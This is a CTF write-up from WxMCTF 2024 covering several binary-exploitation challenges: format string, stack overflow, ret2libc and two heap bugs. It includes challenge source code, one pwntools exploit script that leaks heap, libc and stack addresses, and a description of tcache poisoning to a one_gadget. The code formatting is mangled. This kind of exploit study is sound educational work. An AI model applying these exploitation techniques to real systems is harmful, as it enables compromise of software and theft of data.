I participated in WxMCTF 2024 as part of the Megaricano team. And our team took second place. The Megaricano team is made up of Raon Secure Core Research Team members.
Pwn
Moodle Madness
Challenge Description
It recently came to light from an anonymous source that “Moodle,” the math assignment program made famous by Ms. Gugoiu, has an exploit to see the answers to questions. Buddhathe18th, always reluctant to do homework, decided to investigate this exploit himself for the notorious 3.2 STACK Part 2 Challenge. He vaguely recalls that it involves inputting a string into the answer box, but with 1 hour left, he needs some help. Could you help him find the exploit?
Analysis
There is no server information. Just one binary. At first, I read the problem description and thought it was supposed to provide an exploit method related to the binary. But this was a bad idea and I wasted some time because of it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int__cdeclmain(intargc,constchar**argv,constchar**envp){__int64buf[126];// [rsp+40h] [rbp-3F0h] BYREF
buf[125]=__readfsqword(0x28u);puts("The graph of the polynomial function f(x) = -2x^4-16x^3-49x^2-68x-33 is symmetric with respect to a vertical line. F""ind the equation of this vertical line:\n""x= ");memset(buf,0,1000);read(0,buf,0x3E8uLL);printf((constchar*)buf);// Format String Bug
if(!strcmp((constchar*)buf,"3\n"))printf("\nCorrect!");elseprintf("\nIncorrect!");return0;}
Solve
If you open the binary with IDA, you can immediately find a format string bug, which made me confused.
But this challenge is baby baby baby challenge, so if you open the binary through gdb and run it for a bit, you can see the flags stored upside down in the stack by 4 bytes.
Here’s my TEJ3M assignment! We’re learning how to use C, and I think it’s pretty easy! My teacher tells us gets is unsafe, but I think he doesn’t know how to error trap!
Analysis
This challenge give source code, so easy to analysis.
#include<stdio.h>#include<stdlib.h>#include<string.h>voidwin(){system("cat flag.txt");}voidfunc(){charbuf[040];while(1){puts("Enter your info: \n");gets(buf);if(strlen(buf)<31){puts("Thank you for valid data!!!\n");break;}puts("My teacher says that's unsafe!\n");}}voidmain(){setvbuf(stdin,NULL,2,0);setvbuf(stdout,NULL,2,0);func();}
1
2
3
4
5
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
As you can see, it is a 32-bit binary with no stack canary or PIE, and a stack overflow occurs through the gets function. And thankfully the win function exists. EZPZ
As the strongest problem in history faced off against the strongest pwner of today, they asked it: “Are you the shell because you are /bin/sh? Or are you /bin/sh because you are the shell?”
The pwner laughed. “Stand proud. You are strong.” said the pwner. At this moment, the pwner used their domain expansion.
“DOMAIN EXPANSION. ret2libc.”
The problem began using reverse pwn technique, but it wasn’t enough. The domain was simply too strong. However, the problem had not yet used its domain expansion.
“DOMAIN EXPANSION: Return restrictions.” The problem said, and the domain was instantly shattered.
“Nah, I’d win.” The problem said, and the pwner was dealt with.
Analysis
If you read the description, you can see that the author is a fan of Jujutsu Kaisen. lol
“DOMAIN EXPANSION. ret2libc.”
This challenge give source code, binary and libc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>#include<stdlib.h>intvuln(){charbuf[0x20];printf("My cursed technique is revealing libc... %p\n",printf);gets(buf);if(__builtin_return_address(0)<0x90000000){return0;}printf("NAH I'D WIN!\n");exit(0);}intmain(){setvbuf(stdin,NULL,2,0);setvbuf(stdout,NULL,2,0);vuln();return0;}
1
2
3
4
5
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
This is another vulnerable 32-bit binary. There is no win function, but you can see from the description that you can use the ret2libc technique. In vuln function, we can get libc leak. So, just do ret2libc.
// compile with: gcc leakleakleak.c -o leakleakleak -fpie -pie
#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<string.h>#include<fcntl.h>charflag[128]={0};typedefstruct{charusername[32];char*description;}User;voidwarmup_heap(void){void*addrs[3];for(size_ti=0;i<3;++i){addrs[i]=malloc(9000);}free(addrs[1]);}User*create_user(void){User*user=calloc(1,sizeof(User));user->description=calloc(1,256);returnuser;}voiddestroy_user(User*user){free(user->description);free(user);}voidinit(void){setvbuf(stdout,NULL,_IONBF,0);setvbuf(stderr,NULL,_IONBF,0);}voidread_flag(void){intflag_fd=open("./flag.txt",O_RDONLY);off_tflag_size=lseek(flag_fd,0,SEEK_END);lseek(flag_fd,0,SEEK_SET);read(flag_fd,flag,flag_size);flag[flag_size]='\00';close(flag_fd);}intmain(){init();read_flag();warmup_heap();User*user=create_user();for(_Boolquit=0;!quit;){printf("What is your name? ");read(STDIN_FILENO,user,sizeof(*user));printf("Hello %s!\n",user->username);puts("Let me tell you something about yourself! :3");printf("%s\n",user->description);printf("Continue? (Y/n) ");charc=getchar();if(c=='n'||c=='N')quit=1;}puts("Boom! Boom, boom, boom! I want YOU in my room!");destroy_user(user);return0;}
1
2
3
4
5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
First 64-bit Binary with Partial RELRO!!
The vulnerability is that in read(STDIN_FILENO, user, sizeof(*user));, the description member in User structure, which is char*, can be manipulated by receiving input equal to the size of the User structure.
We can use AAR with printf("%s\n", user->description);.
Exploit
We have AAR. So I use AAR to leak heap -> leak libc -> leak environ -> leak flag.
frompwnimport*p=process("./leakleakleak")libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")context.terminal=['tmux','splitw','-h']context.log_level='debug'# p = remote("32cb2f5.678470.xyz", 32411)pay=b"a"*33p.sendafter(b"?",pay)p.recvuntil(pay)res=(u64(p.recvn(5).ljust(8,b"\x00"))<<8)print(hex(res))p.sendlineafter(b"?",b"Y")pay=b"a"*32+p64(res+0x118)p.sendafter(b"?",pay)p.recvuntil(b":3\n")res=u64(p.recvn(6).ljust(8,b"\x00"))print(hex(res))pay=b"a"*32+p64(res+0x6e80)p.sendafter(b"?",pay)p.recvuntil(b":3\n")res=u64(p.recvn(6).ljust(8,b"\x00"))print("environ"+hex(res))p.sendlineafter(b"?",b"Y")pay=b"a"*32+p64(res-0x30)p.sendafter(b"?",pay)p.recvuntil(b":3\n")res=u64(p.recvn(6).ljust(8,b"\x00"))print(hex(res))#gdb.attach(p)pay=b"a"*32+p64(res+0x2fab)p.sendafter(b"?",pay)p.interactive()
HINT: After you get the leaks there’s an almost arbitrarily long overflow on the heap in the “add_token” function. Use it to corrupt the heap’s metadata.
I First-Blooded this Challenge!!
Analysis
This challenge give source code, binary and Dockerfile.
#include<ctype.h>#include<stdint.h>#include<stdio.h>#include<string.h>#include<stdlib.h>#include<stdbool.h>#include<unistd.h>#define MAX_TOKEN_SIZE 1024
#define next(token) (*(token) = (*(token))->next)
typedefstructtoken{char*str;structtoken*next;}Token;typedefenum{none,number,string,function}Type;typedefstructnumber{int64_tvalue;}Number;typedefstructstring{char*str_ptr;size_tstr_len;}String;typedefstructfunction{char*function_name;}Function;typedefstructnode{Typetype;structnode*child_nodes;structnode*next;union{Numbernumber;Stringstring;Functionfunc;}value;}Node;_Boolpanic=false;voidboot_os(void);voidadd_token(constchar*token_str,size_ttoken_len,Token**beg,Token**end);voiddestroy_tokens(Token*token);Token*tokenize(constchar*s,size_tlen);Node*create_node(void);voiddestroy_nodes(Node*node);_Boolis_number(constchar*s);char*get_string_literal(char*s,size_t*ret_len);char*get_function_by_name(char*s);Node*parse_token(Token**token);Node*parse_expr(Token**token);Node*eval_function(Node*node);Node*eval(Node*node);Node*plus_fnc(Node*args);Node*mul_fnc(Node*args);Node*none_fnc(Node*args);voidprint_node(Node*args);intmain();voidboot_os(void){setvbuf(stdout,NULL,_IONBF,0);setvbuf(stderr,NULL,_IONBF,0);}voidadd_token(constchar*token_str,size_ttoken_len,Token**beg,Token**end){Token*new_token=calloc(1,sizeof(Token));if(new_token==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}new_token->next=NULL;new_token->str=calloc(1,strlen(token_str)+1);if(new_token->str==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}memcpy(new_token->str,token_str,token_len);if(*beg==NULL){*beg=new_token;*end=new_token;}else{(*end)->next=new_token;*end=new_token;}}voiddestroy_tokens(Token*token){if(token==NULL)return;destroy_tokens(token->next);free(token->str);free(token);}Token*tokenize(constchar*s,size_tlen){chartoken_str[MAX_TOKEN_SIZE+1];size_ttoken_length=0;Token*beg=NULL;Token*end=NULL;_Boolinside_string=false;for(size_ti=0;i<len;++i){charc=s[i];if((c==' '||c=='\n'||c=='('||c==')')&&!inside_string){if(token_length!=0){token_str[token_length]='\0';add_token(token_str,token_length,&beg,&end);token_length=0;}if(c=='('){add_token("(",1,&beg,&end);}elseif(c==')'){add_token(")",1,&beg,&end);}}elseif(token_length<=MAX_TOKEN_SIZE){token_str[token_length++]=c;}else{panic=true;fprintf(stderr,"Token too long! Aborting...\n");returnbeg;}if(c=='"'){if(inside_string){token_str[token_length]='\0';add_token(token_str,token_length,&beg,&end);token_length=0;}inside_string=!inside_string;}}returnbeg;}Node*create_node(void){Node*node=malloc(sizeof(Node));if(node==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}node->child_nodes=NULL;node->next=NULL;node->type=none;returnnode;}voiddestroy_nodes(Node*node){if(node==NULL)return;if(node->child_nodes!=NULL)destroy_nodes(node->child_nodes);if(node->next!=NULL)destroy_nodes(node->next);if(node->type==string)free(node->value.string.str_ptr);free(node);}_Boolis_number(constchar*s){while(*s)if(!isdigit(*s++))returnfalse;returntrue;}char*get_string_literal(char*s,size_t*ret_len){if(s==NULL)returnNULL;if(*s!='"')returnNULL;size_tlen=1;while(s[len]!='"')++len;char*new_s=calloc(1,len+1);memcpy(new_s,s+1,len-1);new_s[len]='\0';*ret_len=len-1;returnnew_s;}char*get_function_by_name(char*s){if(strcmp(s,"+")==0){return"+";}elseif(strcmp(s,"*")==0){return"*";}else{returnNULL;}}Node*parse_token(Token**token){Node*node=create_node();char*str=NULL;size_tlen;if(is_number((*token)->str)){node->type=number;node->value.number.value=strtoll((*token)->str,NULL,10);}elseif((str=get_string_literal((*token)->str,&len))){node->type=string;node->value.string.str_ptr=str;node->value.string.str_len=strlen(str);}else{node->type=function;char*function_name=(*token)->str;node->value.func.function_name=get_function_by_name(function_name);}next(token);returnnode;}Node*parse_expr(Token**token){if(token==NULL){panic=true;returnNULL;}Node*node=NULL;if(strcmp((*token)->str,"(")==0){next(token);node=parse_expr(token);if(node==NULL||node->type!=function){panic=true;returnNULL;}while(strcmp((*token)->str,")")){Node*child_node=parse_expr(token);child_node->next=node->child_nodes;node->child_nodes=child_node;}next(token);}elseif(strcmp((*token)->str,")")==0){panic=true;returnNULL;}else{node=parse_token(token);}returnnode;}Node*plus_fnc(Node*args){Node*node=create_node();if(args->type==number){node->type=number;node->value.number.value=0;while(args!=NULL){node->value.number.value+=args->value.number.value;args=args->next;}}elseif(args->type==string){node->type=string;size_tnew_size=1;for(Node*arg=args;arg!=NULL;arg=arg->next)new_size+=strlen(arg->value.string.str_ptr);char*new_str=calloc(1,new_size);if(new_str==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}size_toffset=0;for(Node*arg=args;arg!=NULL;arg=arg->next){size_targ_len=arg->value.string.str_len;memcpy(new_str+offset,arg->value.string.str_ptr,arg_len);offset+=arg_len;}node->value.string.str_ptr=new_str;node->value.string.str_len=new_size;}returnnode;}Node*mul_fnc(Node*args){Node*node=create_node();node->type=number;node->value.number.value=1;while(args!=NULL){node->value.number.value*=args->value.number.value;args=args->next;}returnnode;}Node*none_fnc(Node*args){Node*ret=create_node();ret->type=none;returnret;}Node*eval_function(Node*node){Node*args=NULL;for(Node*child_node=node->child_nodes;child_node!=NULL;child_node=child_node->next){Node*evaled_node=eval(child_node);evaled_node->next=args;args=evaled_node;}char*function_name=node->value.func.function_name;Node*ret_node=NULL;if(function_name==NULL){ret_node=none_fnc(args);}elseif(strcmp(function_name,"+")==0){ret_node=plus_fnc(args);}elseif(strcmp(function_name,"*")==0){ret_node=mul_fnc(args);}else{ret_node=none_fnc(args);}destroy_nodes(args);returnret_node;}Node*eval(Node*node){Node*ret_node=NULL;switch(node->type){casenumber:ret_node=create_node();ret_node->type=number;ret_node->value.number=node->value.number;break;casestring:ret_node=create_node();ret_node->type=string;ret_node->value.string.str_len=node->value.string.str_len;char*str_cpy=malloc(node->value.string.str_len+1);if(str_cpy==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}memcpy(str_cpy,node->value.string.str_ptr,node->value.string.str_len+1);ret_node->value.string.str_ptr=str_cpy;break;casefunction:ret_node=eval_function(node);break;default:break;}returnret_node;}voidprint_node(Node*args){for(Node*node=args;node!=NULL;node=node->next){switch(node->type){casenumber:printf("%ld ",node->value.number.value);break;casestring:printf("%s ",node->value.string.str_ptr);break;default:break;}}puts("");}voidyou_should_be_able_to_solve_this(void){// :-)
system("/bin/sh");}intmain(){boot_os();_Boolquit=false;while(!quit){charline[10000+1];size_tline_len=0;Token*root_token=NULL;Node*ast=NULL;Node*final=NULL;printf("CoplandOS <<< ");line_len=read(STDIN_FILENO,line,10000);line[line_len]=0;if(strncmp(line,"quit",4)==0){quit=true;gotocleanup;}root_token=tokenize(line,line_len);if(panic)gotocleanup;Token*tokens=root_token;ast=parse_expr(&tokens);if(panic)gotocleanup;final=eval(ast);if(panic)gotocleanup;print_node(final);cleanup:panic=false;destroy_nodes(final);destroy_nodes(ast);destroy_tokens(root_token);}return0;}
1
2
3
4
5
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Binary with all mitigation… :(
Binary concept is lisp VM. lisp is a representative functional programming language. lisp use Polish notation, so we can interact with binary like this.
1
2
CoplandOS <<< (+ 1 1)
2
If you read the source code a bit, you will see that it is a heap challenge.
leak
In the case of leak-related vulnerabilities, I was able to quickly find them without almost reading the source code.
1
2
CoplandOS <<< (+ 0 "a")
94861776503552
I just add 0 and some string, binary give suspiciously large numbers.
1
2
>>> hex(94861776503552)
'0x5646ba7dc300'
Without a doubt this was a heap leak vulnerability.
The reason this is possible is because of a vulnerability in plus_fnc.
Node*plus_fnc(Node*args){Node*node=create_node();if(args->type==number){node->type=number;node->value.number.value=0;while(args!=NULL){node->value.number.value+=args->value.number.value;args=args->next;}}elseif(args->type==string){node->type=string;size_tnew_size=1;for(Node*arg=args;arg!=NULL;arg=arg->next)new_size+=strlen(arg->value.string.str_ptr);char*new_str=calloc(1,new_size);if(new_str==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}size_toffset=0;for(Node*arg=args;arg!=NULL;arg=arg->next){size_targ_len=arg->value.string.str_len;memcpy(new_str+offset,arg->value.string.str_ptr,arg_len);offset+=arg_len;}node->value.string.str_ptr=new_str;node->value.string.str_len=new_size;}returnnode;}
plus_fnc only checks the type of the first arg, it treats the second string pointer as just a number.
Overflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
voidadd_token(constchar*token_str,size_ttoken_len,Token**beg,Token**end){Token*new_token=calloc(1,sizeof(Token));if(new_token==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}new_token->next=NULL;new_token->str=calloc(1,strlen(token_str)+1);if(new_token->str==NULL){fprintf(stderr,"I just don't know what went wrong...\n");exit(-1);}memcpy(new_token->str,token_str,token_len);}
The overflow vulnerability exists in the add_token function.
A string that can be manipulated is entered in strlen of calloc(1, strlen(token_str) + 1);. If a NULL character is included, a chunk smaller than the size of the string can be allocated.
To exploit the binary, I leaked the heap address and then leaked the address of libc remaining in the heap.
After that, I was able to exploit the binary by using the overflow vulnerability to manipulate the tcache of size 0xa0 and overwrite libc got with one_gadget.
flag
wxmctf{(did (you (know (?))))(lisp (is (the (most (powerful (language))))))!!}